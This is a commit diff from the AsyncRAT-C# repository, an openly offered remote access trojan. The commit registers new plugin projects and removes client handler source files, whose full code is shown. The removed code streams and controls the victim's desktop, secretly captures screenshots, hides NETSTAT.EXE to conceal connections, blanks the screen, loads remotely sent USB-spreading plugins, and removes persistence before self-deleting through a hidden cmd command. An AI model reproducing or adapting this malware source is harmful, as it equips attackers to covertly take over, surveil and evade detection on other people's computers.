Sapphire/AsyncRAT-C-Sharp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Plugins

Browse Source
This commit is contained in:
NYAN CAT 2019-10-03 19:54:27 +03:00
parent d276ddc75d
commit feabe1307a
265 changed files with 23859 additions and 2073 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

81
AsyncRAT-C#/AsyncRAT-Sharp.sln
View File

@ -7,6 +7,30 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csp
EndProject EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client\Client.csproj", "{C3C49F45-2589-4E04-9C50-71B6035C14AE}" Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client\Client.csproj", "{C3C49F45-2589-4E04-9C50-71B6035C14AE}"
EndProject EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Plugins", "Plugins", "{0DE8DA5D-061D-4649-8A56-48729CF1F789}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Chat", "Plugin\Chat\Chat\Chat.csproj", "{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Extra", "Plugin\Extra\Extra\Extra.csproj", "{424B81BE-2FAC-419F-B4BC-00CCBE38491F}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FileManager", "Plugin\FileManager\FileManager\FileManager.csproj", "{BEE88186-769A-452C-9DD9-D0E0815D92BF}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LimeLogger", "Plugin\LimeLogger\LimeLogger\LimeLogger.csproj", "{DAFE686A-461B-402B-BBD7-2A2F4C87C773}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Miscellaneous", "Plugin\Miscellaneous\Miscellaneous\Miscellaneous.csproj", "{37E20BAF-3577-4CD9-BB39-18675854E255}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Options", "Plugin\Options\Options\Options.csproj", "{6AA4E392-AAAF-4408-B550-85863DD4BAAF}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ProcessManager", "Plugin\ProcessManager\ProcessManager\ProcessManager.csproj", "{D640C36B-2C66-449B-A145-EB98322A67C8}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Recovery", "Plugin\Recovery\Recovery\Recovery.csproj", "{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteCamera", "Plugin\RemoteCamera\RemoteCamera\RemoteCamera.csproj", "{619B7612-DFEA-442A-A927-D997F99C497B}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteDesktop", "Plugin\RemoteDesktop\RemoteDesktop\RemoteDesktop.csproj", "{9042B543-13D1-42B3-A5B6-5CC9AD55E150}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SendFile", "Plugin\SendFile\SendFile\SendFile.csproj", "{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}"
EndProject
Global Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU Debug|Any CPU = Debug|Any CPU
@ -21,10 +45,67 @@ Global
{C3C49F45-2589-4E04-9C50-71B6035C14AE}.Debug|Any CPU.Build.0 = Debug|Any CPU {C3C49F45-2589-4E04-9C50-71B6035C14AE}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C3C49F45-2589-4E04-9C50-71B6035C14AE}.Release|Any CPU.ActiveCfg = Release|Any CPU {C3C49F45-2589-4E04-9C50-71B6035C14AE}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C3C49F45-2589-4E04-9C50-71B6035C14AE}.Release|Any CPU.Build.0 = Release|Any CPU {C3C49F45-2589-4E04-9C50-71B6035C14AE}.Release|Any CPU.Build.0 = Release|Any CPU
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Release|Any CPU.Build.0 = Release|Any CPU
{424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Debug|Any CPU.Build.0 = Debug|Any CPU
{424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Release|Any CPU.ActiveCfg = Release|Any CPU
{424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Release|Any CPU.Build.0 = Release|Any CPU
{BEE88186-769A-452C-9DD9-D0E0815D92BF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{BEE88186-769A-452C-9DD9-D0E0815D92BF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{BEE88186-769A-452C-9DD9-D0E0815D92BF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{BEE88186-769A-452C-9DD9-D0E0815D92BF}.Release|Any CPU.Build.0 = Release|Any CPU
{DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Debug|Any CPU.Build.0 = Debug|Any CPU
{DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Release|Any CPU.ActiveCfg = Release|Any CPU
{DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Release|Any CPU.Build.0 = Release|Any CPU
{37E20BAF-3577-4CD9-BB39-18675854E255}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{37E20BAF-3577-4CD9-BB39-18675854E255}.Debug|Any CPU.Build.0 = Debug|Any CPU
{37E20BAF-3577-4CD9-BB39-18675854E255}.Release|Any CPU.ActiveCfg = Release|Any CPU
{37E20BAF-3577-4CD9-BB39-18675854E255}.Release|Any CPU.Build.0 = Release|Any CPU
{6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Release|Any CPU.Build.0 = Release|Any CPU
{D640C36B-2C66-449B-A145-EB98322A67C8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{D640C36B-2C66-449B-A145-EB98322A67C8}.Debug|Any CPU.Build.0 = Debug|Any CPU
{D640C36B-2C66-449B-A145-EB98322A67C8}.Release|Any CPU.ActiveCfg = Release|Any CPU
{D640C36B-2C66-449B-A145-EB98322A67C8}.Release|Any CPU.Build.0 = Release|Any CPU
{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Release|Any CPU.Build.0 = Release|Any CPU
{619B7612-DFEA-442A-A927-D997F99C497B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{619B7612-DFEA-442A-A927-D997F99C497B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{619B7612-DFEA-442A-A927-D997F99C497B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{619B7612-DFEA-442A-A927-D997F99C497B}.Release|Any CPU.Build.0 = Release|Any CPU
{9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Release|Any CPU.Build.0 = Release|Any CPU
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection EndGlobalSection
GlobalSection(SolutionProperties) = preSolution GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE HideSolutionNode = FALSE
EndGlobalSection EndGlobalSection
GlobalSection(NestedProjects) = preSolution
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{424B81BE-2FAC-419F-B4BC-00CCBE38491F} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{BEE88186-769A-452C-9DD9-D0E0815D92BF} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{DAFE686A-461B-402B-BBD7-2A2F4C87C773} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{37E20BAF-3577-4CD9-BB39-18675854E255} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{6AA4E392-AAAF-4408-B550-85863DD4BAAF} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{D640C36B-2C66-449B-A145-EB98322A67C8} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{619B7612-DFEA-442A-A927-D997F99C497B} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{9042B543-13D1-42B3-A5B6-5CC9AD55E150} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {B9F2462F-603A-41C4-9CFC-1FAC60B4731C} SolutionGuid = {B9F2462F-603A-41C4-9CFC-1FAC60B4731C}
EndGlobalSection EndGlobalSection

78
AsyncRAT-C#/Client/Client.csproj
View File

@ -41,7 +41,7 @@
<WarningLevel>4</WarningLevel> <WarningLevel>4</WarningLevel>
<DocumentationFile> <DocumentationFile>
</DocumentationFile> </DocumentationFile>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks> <AllowUnsafeBlocks>false</AllowUnsafeBlocks>
<GenerateSerializationAssemblies>Auto</GenerateSerializationAssemblies> <GenerateSerializationAssemblies>Auto</GenerateSerializationAssemblies>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
@ -52,7 +52,7 @@
<DefineConstants>TRACE</DefineConstants> <DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport> <ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel> <WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks> <AllowUnsafeBlocks>false</AllowUnsafeBlocks>
<GenerateSerializationAssemblies>Auto</GenerateSerializationAssemblies> <GenerateSerializationAssemblies>Auto</GenerateSerializationAssemblies>
<DebugSymbols>false</DebugSymbols> <DebugSymbols>false</DebugSymbols>
</PropertyGroup> </PropertyGroup>
@ -72,72 +72,13 @@
<Reference Include="System.XML" /> <Reference Include="System.XML" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<Compile Include="AForge\Video.DirectShow\CameraControlProperty.cs" />
<Compile Include="AForge\Video.DirectShow\FilterInfo.cs" />
<Compile Include="AForge\Video.DirectShow\FilterInfoCollection.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IAMCameraControl.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IAMCrossbar.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IAMStreamConfig.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IAMVideoControl.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IBaseFilter.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\ICaptureGraphBuilder2.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\ICreateDevEnum.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IEnumFilters.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IEnumPins.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IFilterGraph.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IFilterGraph2.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IGraphBuilder.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IMediaControl.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IMediaEventEx.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IPin.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IPropertyBag.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IReferenceClock.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\ISampleGrabber.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\ISampleGrabberCB.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\ISpecifyPropertyPages.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\Structures.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\Uuids.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\Win32.cs" />
<Compile Include="AForge\Video.DirectShow\PhysicalConnectorType.cs" />
<Compile Include="AForge\Video.DirectShow\Uuids.cs" />
<Compile Include="AForge\Video.DirectShow\VideoCapabilities.cs" />
<Compile Include="AForge\Video.DirectShow\VideoCaptureDevice.cs" />
<Compile Include="AForge\Video.DirectShow\VideoInput.cs" />
<Compile Include="AForge\Video\IVideoSource.cs" />
<Compile Include="AForge\Video\VideoEvents.cs" />
<Compile Include="Algorithm\Aes256.cs" /> <Compile Include="Algorithm\Aes256.cs" />
<Compile Include="Algorithm\Sha256.cs" /> <Compile Include="Algorithm\Sha256.cs" />
<Compile Include="Handle Packet\HandleBlankScreen.cs" />
<Compile Include="Handle Packet\HandleBotKiller.cs" />
<Compile Include="Handle Packet\HandleDos.cs" />
<Compile Include="Handle Packet\HandleFileManager.cs" />
<Compile Include="Handle Packet\HandleRemoteDesktop.cs" />
<Compile Include="Handle Packet\HandlerExecuteDotNetCode.cs" />
<Compile Include="Handle Packet\HandleThumbnails.cs" />
<Compile Include="Handle Packet\HandlePcOptions.cs" />
<Compile Include="Handle Packet\HandlerChat.cs" />
<Compile Include="Handle Packet\HandleReportWindow.cs" />
<Compile Include="Handle Packet\HandlerRecovery.cs" />
<Compile Include="Handle Packet\HandleShell.cs" />
<Compile Include="Handle Packet\HandleTorrent.cs" />
<Compile Include="Handle Packet\HandleUAC.cs" />
<Compile Include="Handle Packet\HandleUninstall.cs" />
<Compile Include="Handle Packet\HandleWebcam.cs" />
<Compile Include="Handle Packet\HandleWindowsDefender.cs" />
<Compile Include="Handle Packet\Packet.cs" /> <Compile Include="Handle Packet\Packet.cs" />
<Compile Include="Handle Packet\HandleLimeLogger.cs" />
<Compile Include="Handle Packet\HandleProcessManager.cs" />
<Compile Include="Handle Packet\HandleSendTo.cs" />
<Compile Include="Handle Packet\HandleLimeUSB.cs" />
<Compile Include="Helper\Anti_Analysis.cs" /> <Compile Include="Helper\Anti_Analysis.cs" />
<Compile Include="Helper\FormChat.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Helper\FormChat.Designer.cs">
<DependentUpon>FormChat.cs</DependentUpon>
</Compile>
<Compile Include="Helper\Methods.cs" /> <Compile Include="Helper\Methods.cs" />
<Compile Include="Helper\ProcessCritical.cs" /> <Compile Include="Helper\ProcessCritical.cs" />
<Compile Include="Helper\SetRegistry.cs" />
<Compile Include="Install\NormalStartup.cs" /> <Compile Include="Install\NormalStartup.cs" />
<Compile Include="MessagePack\BytesTools.cs" /> <Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" /> <Compile Include="MessagePack\MsgPack.cs" />
@ -148,14 +89,6 @@
<Compile Include="Properties\AssemblyInfo.cs" /> <Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Settings.cs" /> <Compile Include="Settings.cs" />
<Compile Include="Connection\ClientSocket.cs" /> <Compile Include="Connection\ClientSocket.cs" />
<Compile Include="Connection\TempSocket.cs" />
<Compile Include="StreamLibrary\Enums.cs" />
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
<Compile Include="StreamLibrary\IVideoCodec.cs" />
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<None Include="app.config" /> <None Include="app.config" />
@ -167,10 +100,5 @@
<Install>false</Install> <Install>false</Install>
</BootstrapperPackage> </BootstrapperPackage>
</ItemGroup> </ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Helper\FormChat.resx">
<DependentUpon>FormChat.cs</DependentUpon>
</EmbeddedResource>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" /> <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project> </Project>

74
AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs
View File

@ -1,74 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Client.Handle_Packet
{
public static class HandleBlankScreen
{
[DllImport("user32.dll")]
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll")]
private static extern bool SwitchDesktop(IntPtr hDesktop);
[DllImport("user32.dll")]
public static extern bool CloseDesktop(IntPtr handle);
[DllImport("user32.dll")]
public static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll")]
public static extern IntPtr GetThreadDesktop(int dwThreadId);
[DllImport("kernel32.dll")]
public static extern int GetCurrentThreadId();
enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE = 0,
DESKTOP_READOBJECTS = 0x0001,
DESKTOP_CREATEWINDOW = 0x0002,
DESKTOP_CREATEMENU = 0x0004,
DESKTOP_HOOKCONTROL = 0x0008,
DESKTOP_JOURNALRECORD = 0x0010,
DESKTOP_JOURNALPLAYBACK = 0x0020,
DESKTOP_ENUMERATE = 0x0040,
DESKTOP_WRITEOBJECTS = 0x0080,
DESKTOP_SWITCHDESKTOP = 0x0100,
GENERIC_ALL = (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU |
DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK |
DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP),
}
// old desktop's handle, obtained by getting the current desktop assigned for this thread
static readonly IntPtr hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
// new desktop's handle, assigned automatically by CreateDesktop
static IntPtr hNewDesktop = CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
public static bool switcher = false; //the screen is not blanked be default so this should be false
public static void RunBlankScreen()
{
try
{
//light switch logic CopyPasta by MrDevBot
if (switcher == false) //The current screen is NOT blanked and needs to be
{
SwitchDesktop(hNewDesktop);
switcher = true; //sets the switch to on for next click
return; //returns to calling function
}
else //the screen is blanked and should be switched back to old
{
SwitchDesktop(hOldDesktop);
switcher = false; //sets the switch to off for next click
return; //returns to calling function
}
}
catch { }
}
}
}

41
AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs
View File

@ -1,41 +0,0 @@
using Client.MessagePack;
using Client.Connection;
using System;
using System.Diagnostics;
using System.Reflection;
//
// │ Author : NYAN CAT
// │ Name : LimeUSB v0.3
// Contact Me : https://github.com/NYAN-x-CAT
// This program Is distributed for educational purposes only.
//
namespace Client.Handle_Packet
{
public class HandleLimeUSB
{
public HandleLimeUSB(MsgPack unpack_msgpack)
{
try
{
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize");
object injObj = loader.CreateInstance(meth.Name);
int count = (int)meth.Invoke(injObj, null);
if (count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "usb";
msgpack.ForcePathObject("Count").AsString = count.ToString();
ClientSocket.Send(msgpack.Encode2Bytes());
}
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
Packet.Error(ex.Message);
}
}
}
}

50
AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs
View File

@ -1,50 +0,0 @@
using Client.Helper;
using System;
using System.Diagnostics;
using System.IO;
namespace Client.Handle_Packet
{
public static class HandleNetStat
{
static bool switcher = false;
static readonly string OriginalFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\\NETSTAT.EXE");
static readonly string BackupFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\\NETSTAT.Backup.txt");
public static void RunNetStat()
{
//light switch logic CopyPasta by MrDevBot
if (!Methods.IsAdmin()) return; //if we are not admin return
if (switcher == false) //The current screen is NOT blanked and needs to be
{
try
{
File.Move(OriginalFile, BackupFile);
}
catch (Exception ex)//probably AntiTamper protection or Admin Privilages
{
Debug.WriteLine(ex.Message);
Packet.Error(ex.Message);
}
switcher = true; //sets the switch to on for next click
return; //returns to calling function
}
else //the screen is blanked and should be switched back to old
{
try
{
File.Move(BackupFile, OriginalFile);
}
catch (Exception ex)//probably AntiTamper protection or Admin Privilages
{
Debug.WriteLine(ex.Message);
Packet.Error(ex.Message);
}
switcher = false; //sets the switch to off for next click
return; //returns to calling function
}
}
}
}

113
AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs
View File

@ -1,113 +0,0 @@
using System;
using System.IO;
using System.Drawing.Imaging;
using System.Drawing;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using Client.MessagePack;
using Client.Connection;
using Client.StreamLibrary.UnsafeCodecs;
using Client.Helper;
using Client.StreamLibrary;
namespace Client.Handle_Packet
{
public class HandleRemoteDesktop
{
public HandleRemoteDesktop(MsgPack unpack_msgpack)
{
try
{
switch (unpack_msgpack.ForcePathObject("Option").AsString)
{
case "capture":
{
CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
break;
}
case "mouseClick":
{
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
Cursor.Position = position;
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
break;
}
case "mouseMove":
{
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
Cursor.Position = position;
break;
}
}
}
catch { }
}
public void CaptureAndSend(int quality, int Scrn)
{
TempSocket tempSocket = new TempSocket();
string hwid = Methods.HWID();
Bitmap bmp = null;
BitmapData bmpData = null;
Rectangle rect;
Size size;
MsgPack msgpack;
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
MemoryStream stream;
while (tempSocket.IsConnected && ClientSocket.IsConnected)
{
try
{
bmp = GetScreen(Scrn);
rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
size = new Size(bmp.Width, bmp.Height);
bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
using (stream = new MemoryStream())
{
unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);
if (stream.Length > 0)
{
msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("ID").AsString = hwid;
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(Screen.AllScreens.Length);
tempSocket.Send(msgpack.Encode2Bytes());
}
}
bmp.UnlockBits(bmpData);
bmp.Dispose();
}
catch { break; }
}
try
{
bmp?.UnlockBits(bmpData);
bmp?.Dispose();
tempSocket?.Dispose();
}
catch { }
}
private Bitmap GetScreen(int Scrn)
{
Rectangle rect = Screen.AllScreens[Scrn].Bounds;
try
{
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot))
{
gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
return bmpScreenshot;
}
}
catch { return new Bitmap(rect.Width, rect.Height); }
}
[DllImport("user32.dll")]
static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo);
}
}

40
AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs
View File

@ -1,40 +0,0 @@
using Client.MessagePack;
using Client.Connection;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
namespace Client.Handle_Packet
{
public class HandleThumbnails
{
public HandleThumbnails()
{
try
{
Thread.Sleep(new Random().Next(3000));
Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
using (Graphics g = Graphics.FromImage(bmp))
using (MemoryStream memoryStream = new MemoryStream())
{
g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero);
thumb.Save(memoryStream, ImageFormat.Jpeg);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
ClientSocket.Send(msgpack.Encode2Bytes());
thumb.Dispose();
}
bmp.Dispose();
}
catch { }
}
}
}

59
AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs
View File

@ -1,59 +0,0 @@
using Client.Helper;
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Security.Principal;
using System.Text;
using System.Windows.Forms;
namespace Client.Handle_Packet
{
public class HandleUninstall
{
public HandleUninstall()
{
if (Convert.ToBoolean(Settings.Install))
{
try
{
if (!Methods.IsAdmin())
Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",RegistryKeyPermissionCheck.ReadWriteSubTree).DeleteValue(Settings.InstallFile);
else
{
Process.Start(new ProcessStartInfo()
{
FileName = "schtasks",
Arguments = "/delete /f /tn " + @"""'" + Settings.InstallFile + @"""'",
CreateNoWindow = true,
ErrorDialog = false,
UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Hidden
});
}
}
catch { }
}
ProcessStartInfo Del = null;
try
{
Del = new ProcessStartInfo()
{
FileName = "cmd.exe",
Arguments = "choice /C Y /N /D Y /T 2 & Del \"" + Application.ExecutablePath + "\"",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
};
}
catch { }
finally
{
Process.Start(Del);
Methods.ClientExit();
Environment.Exit(0);
}
}
}
}

47
AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs
View File

@ -1,47 +0,0 @@
using Client.Helper;
using Client.MessagePack;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Client.Handle_Packet
{
public class HandlerChat
{
public void CreateChat()
{
new Thread(() =>
{
Packet.GetFormChat = new FormChat();
Packet.GetFormChat.ShowDialog();
}).Start();
}
public void WriteInput(MsgPack unpack_msgpack)
{
if (Packet.GetFormChat.InvokeRequired)
{
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
{
Console.Beep();
Packet.GetFormChat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Input").AsString + Environment.NewLine);
}));
}
}
public void ExitChat()
{
if (Packet.GetFormChat.InvokeRequired)
{
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
{
Packet.GetFormChat.Close();
Packet.GetFormChat.Dispose();
}));
}
